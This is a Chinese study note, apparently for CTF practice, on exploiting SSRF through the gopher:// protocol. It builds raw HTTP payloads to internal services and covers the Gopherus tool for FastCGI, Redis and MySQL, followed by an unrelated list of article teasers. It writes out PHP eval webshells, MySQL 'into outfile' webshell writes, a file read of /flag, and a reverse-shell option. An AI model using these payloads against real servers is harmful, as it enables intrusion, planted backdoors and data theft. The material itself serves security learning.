gopher伪协议

news2024/12/26 11:48:07

基础知识

基本格式

基本格式:URL:gopher://<host>:<port>/<gopher-path>
  • web也需要加端口号80
  • gophert协议默认端口为70
  • gopheri请求不转发第一个字符

Snipaste_2024-02-26_20-44-17.png

get请求

  • 问号(?)需要转码为URL编码,也就是%3f
  • 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
  • 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
  • URL编码改为大写,冒号注意英文冒号
  • 如果使用BP发包需要进行两次u编码
  • GET提交最后需要增加一个换行符
gopher://127.0.0.1:80/_
GET /get.php?a=hello HTTP/1.1
Host: 127.0.0.1

为什么bp要进行两次url编码

curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;
而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode

Snipaste_2024-02-27_16-42-33.png

post请求

需要注意的是,post请求有4个参数为必要参数。

gopher://127.0.0.1:80/_
POST /post.php HTTP/1.1
host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

a=hello

当我们不得不添加别的参数

Cookie

POST /index.php HTTP/1.1
Host: localhost:80
Cookie: PHPSESSID=1f546328759632456215236845122365
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

uname=admin&passwd=admin

xxe

[[xxe]]
Snipaste_2024-02-28_00-02-21.png

sql-get

[[sql注入]]
注意不要使用+当做空格,就页面里面用%20,bp或hackbar用%2520
[外链图片转存中…(img-kwRcQIhN-1711552424782)]

sql-post

[[sql注入]]
[外链图片转存中…(img-yt5YfBVj-1711552424782)]

文件上传

[[文件上传]]

前置知识

image.png

如何构造payload

Snipaste_2024-02-28_09-26-53.png

Snipaste_2024-02-28_09-30-34.png

使用

假设172.6.0.1:80页面有文件上传

gopher://172.6.0.1:80/_

Snipaste_2024-02-28_09-32-18.png

文件包含

[[文件包含]]
Snipaste_2024-02-28_09-41-18.png

Gopherus工具

使用范围

目前支持生成payload应用有:
MySQL (Port:3306)
FastCGI (Port:9000)
Memcached (Port:11211)
Redis (Port:6379)
Zabbix (Port:10050)
SMTP (Port:25)

RCE

python2 gopherus.py –exploit fastcgi(写支持的名字,如fastcgi,redis,mysql)
/var/www/html/index.php             //?url= 页面的具体目录

ls
ls /
cat /flag.php

webshell

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php           //?url= 页面的具体目录

echo "<?php eval(\$_POST[123]);?>" >1.php     //$_POST[]里面不能是字母,前面的 \ 不可少! 就用这个,别改就行!!!
    
python2 gopherus.py –exploit redis
PHPShell				//这里有两个选项:ReverseShell应该是反弹shell  PHPshell(填php也行)就是webshell了
/var/www/html/index.php 
 
<?php eval($_POST["aaa"])?>  //redis好像和fastcgi不同,他的webshell不能用,redis的POST里面是字母,他的是数字  用这个,                              //别改就行

mysql

不使用工具生成的话去看图片笔记

条件

因为是使用into outfile函数写入的,有一下限制
[[mysql-文件读写#1.13.3. 写文件]]

Snipaste_2024-02-28_15-38-04.png

常规使用

python2 gopherus.py --exploit mysql

select "<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';

select "<?php @eval($_POST['t']);?>" into outfile '/var/www/html/4.php';

select load_file("/flag");

Snipaste_2024-02-28_15-42-32.png

UDF 提权

https://www.sqlsec.com/udf/

redis未授权

如果对方有网站,

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1549678.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Patchwork包使用教程,R语言快速组合拼接图片

R语言如何拼接多幅图片&#xff1f; 今天分享的笔记带你领略R语言Patchwork包独特的魅力&#xff0c;patchwork是一个非常流行的用于拼接 ggplot2 图形的包&#xff0c;以一种简单的方式对图形进行排列和组合&#xff0c;不论多复杂的组合图形&#xff0c;都能确保图形之间正确…

社交革命:Facebook如何塑造数字社交的未来

引言 在当今数字化时代&#xff0c;社交媒体已成为人们生活的核心&#xff0c;而Facebook作为其中的领军者&#xff0c;一直在塑造着数字社交的未来。本文将深入探讨Facebook在数字社交领域的地位、影响力以及对未来社交的塑造作用&#xff0c;为读者揭示这场社交革命如何由Fa…

Windows直接运行python程序

Windows直接运行python程序 一、新建bat脚本二、新建vbs脚本 一、新建bat脚本 新建bat批处理脚本&#xff0c;写入以下内容 echo off call conda activate pytorch python app.pyecho off&#xff1a;在此语句后所有运行的命令都不显示命令行本身&#xff0c;但是本身的指令是…

【软件开发】给Ubuntu 18.04虚拟机安装最新的Python 3.12.2

一、前言 笔者在Windows 11主机上安装有Ubuntu 18.04虚拟机&#xff08;使用虚拟化平台Oracle VM VirtualBox&#xff09;&#xff0c;在Python3.6的使用过程中遇到了问题&#xff0c;决定安装Python 3.12.2&#xff0c;在此记录安装过程。 二、安装过程&#xff08;在Ubuntu…

鸿蒙HarmonyOS应用开发之使用Node-API实现跨语言交互开发流程

使用Node-API实现跨语言交互&#xff0c;首先需要按照Node-API的机制实现模块的注册和加载等相关动作。 ArkTS/JS侧&#xff1a;实现C方法的调用。代码比较简单&#xff0c;import一个对应的so库后&#xff0c;即可调用C方法。 Native侧&#xff1a;.cpp文件&#xff0c;实现模…

持续集成与版本控制的相关概念

目录 一、持续集成 1.1 持续集成基本概念 1.1.1 持续集成的含义 1.1.1.1 持续集成流程是依赖产品版本迭代和版本分支而产生的 1.1.1.2 持续集成流程中包含的内容 1.1.2 传统打包模式说明 1.1.2.1 传统打包模式概述 1.1.2.2 传统打包模式问题 1.1.3 持续集成模式 1.1.…

FFmpeg初步了解

一、了解FFmpeg 1.1 什么是FFmpeg FFmpeg是一套可以用来记录、转换数字音频、视频&#xff0c;并能将其转化为流的开源计算机程序。采用LGPL或GPL许可证。它提供了录制、转换以及流化音视频的完整解决方案。它包含了非常先进的音频/视频编解码库libavcodec&#xff0c;为了保证…

2024年云计算使用报告,89%组织用多云,25%广泛使用生成式AI,45%需要跨云数据集成,节省成本是云首要因素

备注&#xff1a;本文来自Flexera2024年的云现状调研报告的翻译。原报告地址&#xff1a; https://info.flexera.com/CM-REPORT-State-of-the-Cloud Flexera是一家专注于做SaaS的IT解决方案公司&#xff0c;有30年发展历史&#xff0c;5万名客户&#xff0c;1300名员工。Flex…

备考ICA----Istio实验10---为单个主机配置TLS Istio Ingress Gateway实验

备考ICA----Istio实验10—为单个主机配置 TLS Istio Ingress Gateway实验 1. 环境准备 部署httpbin kubectl apply -f istio/samples/httpbin/httpbin.yaml 2. 证书生成 2.1 生成根证书 生成根证书keyfile和crt文件 mkdir example_certs_root openssl req -x509 -sha256 …

mac-git上传至github(ssh版本,个人tokens总出错)

第一步 git clone https://github.com/用户名/项目名.git 第二步 cd 项目名 第三步 将本地的文件移动到项目下 第四步 git add . 第五步 git commit -m "添加****文件夹" 第六步 git push origin main 报错&#xff1a; 采用ssh验证 本地文件链接公钥 …

【机器学习300问】53、什么组合特征?为什么要组合特征?

一、什么是组合特征&#xff1f; 组合特征是指在机器学习通过将两个或多个基础特征进行某种形式的结合而创建的新特征。这些新特征是描述数据的新视角&#xff0c;这有助于模型发现和学习数据中更复杂的模式。 例如&#xff0c;在广告点击预测问题中&#xff0c;我们有两个基础…

协程库-锁类-实现线程互斥同步

mutex.h&#xff1a;信号量&#xff0c;互斥锁&#xff0c;读写锁&#xff0c;范围锁模板&#xff0c;自旋锁&#xff0c;原子锁 锁 **锁不能进行拷贝操作&#xff1a;**锁是用于管理多线程并发访问共享资源的同步原语。这些锁包括互斥锁&#xff08;mutex&#xff09;、读写锁…

数仓建设实践——58用户画像数仓建设

目录 一、数据仓库&用户画像简介 1.1 数据仓库简介 1.2 数据仓库的价值 1.3 用户画像简介 1.4 用户画像—标签体系 二、用户画像数仓建设过程 2.1 画像数仓—背景&现状 2.2 画像数仓—整体架构 2.3 画像数仓—研发流程 2.4 画像数仓—指标定义 2.5 画像数仓…

Day50:WEB攻防-PHP应用文件包含LFIRFI伪协议编码算法无文件利用黑白盒

目录 文件包含-原理&分类&利用&修复 文件读取 文件写入 代码执行 远程利用思路 黑盒利用-VULWEB 白盒利用-CTFSHOW-伪协议玩法 78-php&http协议 79-data&http协议 80-81-日志包含 87-php://filter/write&加密编码 88-data&base64协议 …

【深度学习】【机器学习】用神经网络进行入侵检测,NSL-KDD数据集,基于机器学习(深度学习)判断网络入侵

文章目录 下载数据集NSL-KDD数据集介绍输入的41个特征输出的含义数据处理&&训练技巧建神经网络&#xff0c;输入41个特征&#xff0c;输出是那种类别的攻击模型训练模型推理写gradio前端界面&#xff0c;用户自己输入41个特征&#xff0c;后端用模型推理计算后显示出是…

银行卡的分类

银行卡是银行账户的一种体现形式&#xff0c;它是由银行机构发行的具有消费信用、转账结算、存取现金等全部或部分功能作为结算支付工具的各类卡的统称。 &#xff08;1&#xff09;按是否具有授信额度分类 ①借记卡&#xff1a;借记卡是指发卡银行向申请人签发的&#xff0c;没…

牛客NC79 丑数【中等 堆、优先级队列 Java,Go,PHP Go和PHP中我自己实现了优先级队列】

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/6aa9e04fc3794f68acf8778237ba065b 思路 注意&#xff1a; 数据范围&#xff1a;0≤n≤2000&#xff0c; 2000肯定到不了&#xff0c;最多到1690&#xff0c;相同题目链接&#xff1a;https://www.lintcode.com…

netty构建udp服务器以及发送报文到客户端客户端详细案例

目录 一、基于netty创建udp服务端以及对应通道设置关键 二、发送数据 三、netty中的ChannelOption常用参数说明 1、ChannelOption.SO_BACKLOG 2、ChannelOption.SO_REUSEADDR 3、ChannelOption.SO_KEEPALIVE 4、ChannelOption.SO_SNDBUF和ChannelOption.SO_RCVBUF 5、Ch…

CUDA安装 Windows版

目录 一、说明 二、安装工具下载 三、CUDA安装 四、cuDNN配置 五、验证安装是否成功 一、说明 windows10 版本安装 CUDA &#xff0c;首先需要下载两个安装包 CUDA toolkitcuDNN 官方教程 CUDA&#xff1a;https://docs.nvidia.com/cuda/cuda-installation-guide-micro…

2.2 添加商户缓存

实战篇Redis 2.2 添加商户缓存 在我们查询商户信息时&#xff0c;我们是直接操作从数据库中去进行查询的&#xff0c;大致逻辑是这样&#xff0c;直接查询数据库那肯定慢咯&#xff0c;所以我们需要增加缓存 GetMapping("/{id}") public Result queryShopById(Pat…